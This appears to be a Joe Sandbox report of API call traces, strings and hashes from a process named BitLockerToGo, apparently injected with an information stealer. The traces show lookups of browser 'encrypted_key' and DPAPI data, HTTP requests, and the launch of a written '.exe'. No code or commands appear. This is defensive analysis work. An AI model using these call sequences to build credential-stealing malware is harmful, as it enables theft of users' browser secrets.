Part of subcall function 6CC731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC732AB
Part of subcall function 6CC731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC732D1
Part of subcall function 6CC731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC732E5
Part of subcall function 6CC731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CC732F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CC89675
__Init_thread_footer.LIBCMT ref: 6CC89697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CC896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CC89707
__Init_thread_footer.LIBCMT ref: 6CC8971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CC89773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CC897B7
FreeLibrary.KERNEL32 ref: 6CC897D0
FreeLibrary.KERNEL32 ref: 6CC897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CC89824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CC89670
ntdll.dll, xrefs: 6CC896E3
MapViewOfFileNuma2, xrefs: 6CC897B1
NtMapViewOfSection, xrefs: 6CC89701

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 3c45a8079821f90883ad0914f82997ba0f71bedfe46ba3d983a58dedebc3dad0
Instruction ID: 72b4438ba3b0abe4b9604ac7b1f9a2d6a0b00e31a33adafcce0b1cf28d391562
Opcode Fuzzy Hash: 3c45a8079821f90883ad0914f82997ba0f71bedfe46ba3d983a58dedebc3dad0
Instruction Fuzzy Hash: 81619271601205AFDF00DFA9E898B9ABBF5EF4A318F11451AE92597B80E730E845CB91

Function 030117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 030117C5
ExitProcess.KERNEL32 ref: 030117D1
strtok_s.MSVCRT ref: 030117E8

Strings

block, xrefs: 030117B7

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 2d3e7790df15eb64c89603123911d9c42a7271acf796c086b400b191f30513b7
Instruction ID: 880a0d8f87220180b1d6ef13df26a0807800ffc6f292477d32cf179977abd2d8
Opcode Fuzzy Hash: 2d3e7790df15eb64c89603123911d9c42a7271acf796c086b400b191f30513b7
Instruction Fuzzy Hash: D55131B4A06209EFDB0CDFA0E948BBE77B9FF44704F008449E516AB244D775E961CB61

Function 03010A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

memset.MSVCRT ref: 03010C1C
lstrcat.KERNEL32(?,00000000), ref: 03010C35
lstrcat.KERNEL32(?,03020D7C), ref: 03010C47
lstrcat.KERNEL32(?,00000000), ref: 03010C5D
lstrcat.KERNEL32(?,03020D80), ref: 03010C6F
lstrcat.KERNEL32(?,00000000), ref: 03010C88
lstrcat.KERNEL32(?,03020D84), ref: 03010C9A
lstrlen.KERNEL32(?), ref: 03010CA7
memset.MSVCRT ref: 03010CCD
memset.MSVCRT ref: 03010CE1

Part of subcall function 0301A820: lstrlen.KERNEL32(00000000,?,?,03015B54,03020ADB,03020ADA,?,?,03016B16,00000000,?,03540578,?,0302110C,?,00000000), ref: 0301A82B
Part of subcall function 0301A820: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A885

Part of subcall function 03018B60: GetSystemTime.KERNEL32(?,03549910,030205AE,?,?,?,?,?,?,?,?,?,03004963,?,00000014), ref: 03018B86

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030196C0: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,03010B85,?,00000000,?,00000000,030205C6,030205C5), ref: 030196E1

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,03020D88,?,00000000), ref: 03010D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 03010D66

Strings

.exe, xrefs: 03010A95

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID: .exe
API String ID: 1395395982-4119554291
Opcode ID: 07ffe219f97ffb3139a59920e4be499628da894b1a6e49ecef6d90beeb3789bf
Instruction ID: 85303c071bf23d8e623065b5d188279b0e7081dfd98c312b8add544d794c2d15
Opcode Fuzzy Hash: 07ffe219f97ffb3139a59920e4be499628da894b1a6e49ecef6d90beeb3789bf
Instruction Fuzzy Hash: 5B8174B9A53218AFDB14FB60DD55FEE733CAF84214F004199A3066A081EF746B99CF64

Function 6CCCD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCCD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCCD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCCD52A
GetCurrentThreadId.KERNEL32 ref: 6CCCD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCCD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCCD55F
free.MOZGLUE(00000000), ref: 6CCCD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CCCD5D3
GetCurrentThreadId.KERNEL32 ref: 6CCCD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCCD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCCD652
GetCurrentThreadId.KERNEL32 ref: 6CCCD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCCD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCCD6A2

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 49f009cdd2a6ec9901513f0b25af72743b63558d14fa75257927cff80720a8cb
Instruction ID: 9aaab4dc1d68e2a6e98e2a554ae5fe1f1411e7aa170d2289923f54963863a4fe
Opcode Fuzzy Hash: 49f009cdd2a6ec9901513f0b25af72743b63558d14fa75257927cff80720a8cb
Instruction Fuzzy Hash: D3516DB5604705DFC704DF25D894A9ABBF4FF89318F008A2EE95A87710EB30A945CB92

Function 030112D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 03011307
strtok_s.MSVCRT ref: 03011750

Part of subcall function 0301A820: lstrlen.KERNEL32(00000000,?,?,03015B54,03020ADB,03020ADA,?,?,03016B16,00000000,?,03540578,?,0302110C,?,00000000), ref: 0301A82B
Part of subcall function 0301A820: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A885

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 4212ec6b3b3054f3941f22b930817d0fc54d04dd3ca4da3a9dfa1505a47554ea
Instruction ID: 786dbf9c694352137e6ffd91c37cf79f3458275dd91b5e2b359deb47c13b3e95
Opcode Fuzzy Hash: 4212ec6b3b3054f3941f22b930817d0fc54d04dd3ca4da3a9dfa1505a47554ea
Instruction Fuzzy Hash: 37C199B99423199BCB18EF60DC88FDE7778BF94304F004599E50A6B241DB74EA95CF90

Function 03014280 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0301429E
memset.MSVCRT ref: 030142B5

Part of subcall function 03018DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 03018E0B

lstrcat.KERNEL32(?,00000000), ref: 030142EC
lstrcat.KERNEL32(?,03556270), ref: 0301430B
lstrcat.KERNEL32(?,?), ref: 0301431F
lstrcat.KERNEL32(?,03555CB8), ref: 03014333

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 03018D90: GetFileAttributesA.KERNEL32(00000000,?,03010117,?,00000000,?,00000000,03020DAB,03020DAA), ref: 03018D9F

Part of subcall function 03009CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 03009D39
Part of subcall function 03009CE0: memcmp.MSVCRT(?,DPAPI,00000005), ref: 03009D92

Part of subcall function 030099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 030099EC
Part of subcall function 030099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 03009A11
Part of subcall function 030099C0: LocalAlloc.KERNEL32(00000040,?), ref: 03009A31
Part of subcall function 030099C0: ReadFile.KERNEL32(000000FF,?,00000000,030102E7,00000000), ref: 03009A5A
Part of subcall function 030099C0: LocalFree.KERNEL32(030102E7), ref: 03009A90
Part of subcall function 030099C0: CloseHandle.KERNEL32(000000FF), ref: 03009A9A

Part of subcall function 030193C0: GlobalAlloc.KERNEL32(00000000,030143DD,030143DD), ref: 030193D3

StrStrA.SHLWAPI(?,035562D0), ref: 030143F3
GlobalFree.KERNEL32(?), ref: 03014512

Part of subcall function 03009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,03004EEE,00000000,00000000), ref: 03009AEF
Part of subcall function 03009AC0: LocalAlloc.KERNEL32(00000040,?,?,?,03004EEE,00000000,?), ref: 03009B01
Part of subcall function 03009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,03004EEE,00000000,00000000), ref: 03009B2A
Part of subcall function 03009AC0: LocalFree.KERNEL32(?,?,?,?,03004EEE,00000000,?), ref: 03009B3F

Part of subcall function 03009E10: memcmp.MSVCRT(?,v20,00000003), ref: 03009E2D

lstrcat.KERNEL32(?,00000000), ref: 030144A3
StrCmpCA.SHLWAPI(?,030208D1), ref: 030144C0
lstrcat.KERNEL32(00000000,00000000), ref: 030144D2
lstrcat.KERNEL32(00000000,?), ref: 030144E5
lstrcat.KERNEL32(00000000,03020FB8), ref: 030144F4

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: a2c108526ba0b180b8ccab11d08cf59ebd397d9ccb7468ac0693f778ef529d01
Instruction ID: 16bdb0e6edc21c73ce52a50589a98ff4fea58489f5f1120440d8376d58f63fe5
Opcode Fuzzy Hash: a2c108526ba0b180b8ccab11d08cf59ebd397d9ccb7468ac0693f778ef529d01
Instruction Fuzzy Hash: E67146BA901308ABDB14FBE0EC89FDE7779AB88300F048598E6059B185EB34D755CB91

Function 030152C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 03006280: InternetOpenA.WININET(03020DFE,00000001,00000000,00000000,00000000), ref: 030062E1
Part of subcall function 03006280: StrCmpCA.SHLWAPI(?,03554CA0), ref: 03006303
Part of subcall function 03006280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 03006335
Part of subcall function 03006280: HttpOpenRequestA.WININET(00000000,GET,?,03556390,00000000,00000000,00400100,00000000), ref: 03006385
Part of subcall function 03006280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 030063BF
Part of subcall function 03006280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 030063D1

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 03015318
lstrlen.KERNEL32(00000000), ref: 0301532F

Part of subcall function 03018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 03018E52

StrStrA.SHLWAPI(00000000,00000000), ref: 03015364
lstrlen.KERNEL32(00000000), ref: 03015383
strtok.MSVCRT(00000000,?), ref: 0301539E
lstrlen.KERNEL32(00000000), ref: 030153AE

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Strings

ERROR, xrefs: 030154A9
ERROR, xrefs: 0301530A
ERROR, xrefs: 03015432
ERROR, xrefs: 0301546F
ERROR, xrefs: 030153B9

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 786b13f9800fee490f179c84f71a16e3e1ed73ed89b3f8c630e12825f724e2f7
Instruction ID: 72ffd90a049d78a45120bf4038b693f6e6500e2c6d1d1c0567fa975df21c39c3
Opcode Fuzzy Hash: 786b13f9800fee490f179c84f71a16e3e1ed73ed89b3f8c630e12825f724e2f7
Instruction Fuzzy Hash: BF511E38A13248DBDB18FF60DE95AEE7779AF90311F504018E8065F590EF746B1ACBA1

Function 6CCBEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC84A68), ref: 6CCB945E
Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCB9470
Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCB9482
Part of subcall function 6CCB9420: __Init_thread_footer.LIBCMT ref: 6CCB949F

GetCurrentThreadId.KERNEL32 ref: 6CCBEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCBEC8C

Part of subcall function 6CCB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CCB94EE
Part of subcall function 6CCB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CCB9508

GetCurrentThreadId.KERNEL32 ref: 6CCBECA1
AcquireSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CCBECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CCBECC5
ReleaseSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CCBED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CCBED19
CloseHandle.KERNEL32(?), ref: 6CCBED28
free.MOZGLUE(00000000), ref: 6CCBED2F
ReleaseSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CCBED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CCBEC94

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 068afbfc8764832002052db5f1de0b7bbbd2b8c97a49b74ce1f79cf8e16ccc44
Instruction ID: 7dcd18c6c4371cfdae22c9a284be72e662924c42e34d081340532fc9a6993b4a
Opcode Fuzzy Hash: 068afbfc8764832002052db5f1de0b7bbbd2b8c97a49b74ce1f79cf8e16ccc44
Instruction Fuzzy Hash: 4C21D375600108AFDB009FA4E804B9A7BB9EF4666CF104255FD29A7B41FB759806CBB1

Function 6CCB8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CC7EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC7EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CCBB392,?,?,00000001), ref: 6CCB91F4

Part of subcall function 6CCACBE8: GetCurrentProcess.KERNEL32(?,6CC731A7), ref: 6CCACBF1
Part of subcall function 6CCACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC731A7), ref: 6CCACBFA

Strings

marker-chart, xrefs: 6CCB905E
timeline-fileio, xrefs: 6CCB90A4
timeline-memory, xrefs: 6CCB9088
data, xrefs: 6CCB90E8
name, xrefs: 6CCB8F16
